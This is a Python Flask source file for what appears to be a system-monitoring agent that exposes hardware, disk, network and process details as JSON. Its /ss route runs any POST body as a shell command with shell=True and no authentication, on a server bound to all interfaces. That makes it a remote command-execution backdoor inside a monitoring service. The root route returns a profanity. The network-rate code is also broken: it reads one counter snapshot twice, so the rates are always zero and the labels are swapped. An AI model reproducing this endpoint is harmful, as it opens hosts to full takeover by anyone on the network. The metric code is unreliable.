from flask import Flask, request
import psutil
import json
import subprocess
import time
import platform

app = Flask(__name__)


@app.route("/")
def info():
    return "fuck you！"


def kbs():
    net_io_counters = psutil.net_io_counters()
    netSend0 = net_io_counters.bytes_recv
    netRcvd0 = net_io_counters.bytes_sent

    time.sleep(1)
    netSend1 = net_io_counters.bytes_recv
    netRcvd1 = net_io_counters.bytes_sent

    send = netSend1 - netSend0
    print(send)
    rcvd = netRcvd1 - netRcvd0
    print(rcvd)
    
    return send, rcvd
    

@app.route("/HardwareInfo")
def HardwareInfo():
    virtual_memory = psutil.virtual_memory()
    send_kbs, rcvd_kbs = kbs()
    disk_partitions = psutil.disk_partitions()
    systemInfo = platform.uname()

    disks = []

    system = {
        'system':systemInfo.system,
        'node':systemInfo.node,
        'release':systemInfo.release,
        'version':systemInfo.version,
        'machine':systemInfo.machine,
        'processor':systemInfo.processor
    }

    memory = {
        'total':virtual_memory.total,
        'used':virtual_memory.used,
        'free':virtual_memory.free,
        'percent': virtual_memory.percent
    }

    cpu = {
        'cpu_logic_count':psutil.cpu_count(),
        'cpu_physics_count':psutil.cpu_count(logical=False),
        'cpu_percent': psutil.cpu_percent()
    }

    #kb/s
    net = {
        'bytes_sent': send_kbs,
        'bytes_rcvd': rcvd_kbs
    }

    for i in disk_partitions:
        try:
            o = psutil.disk_usage(i.device)
            ioc=psutil.disk_io_counters()

        except Exception as e:
            pass
        
        disk_info = {
            'name':i.device,
            'mountpoint':i.mountpoint,
            'fstype':i.fstype,
            'opts':i.opts,
            'total':o.total,
            'used':o.used,
            'free':o.free,
            'read_count':ioc.read_count,
            'write_count':ioc.write_count,
            'read_bytes':ioc.read_bytes,
            'write_bytes':ioc.write_bytes,
            'read_time':ioc.read_time,
            'write_time':ioc.write_time
        }

        disks.append(disk_info)


    data = {
        'system':system,
        'cpu':cpu,
        'memory':memory,
        'net':net,
        'disk':disks,
    }
    return json.dumps(data)

@app.route("/Process")
def Process():
    plists = []
    pids = psutil.pids()
    for pid in pids:
        p = psutil.Process(pid)

        data = {
        'pid': pid, 
        'name':p.name(),
        'exe':p.exe(),
        'cwd':p.cwd(),
        'status':p.status(),
        'cpu_percent':round(p.cpu_percent(), 2),
        'memory_percent':round(p.memory_percent(), 2)
        }

        plists.append(data)
    
    return json.dumps(plists)

@app.route('/ss',methods=["POST"])
def SendShell():
    if not request.data:
        return 'fail'
    sub = subprocess.Popen(request.data,stdout=subprocess.PIPE, shell=True)
    sub.wait()
    return sub.stdout.read()


if __name__ == "__main__":
    app.run(host= '0.0.0.0', port= 9013)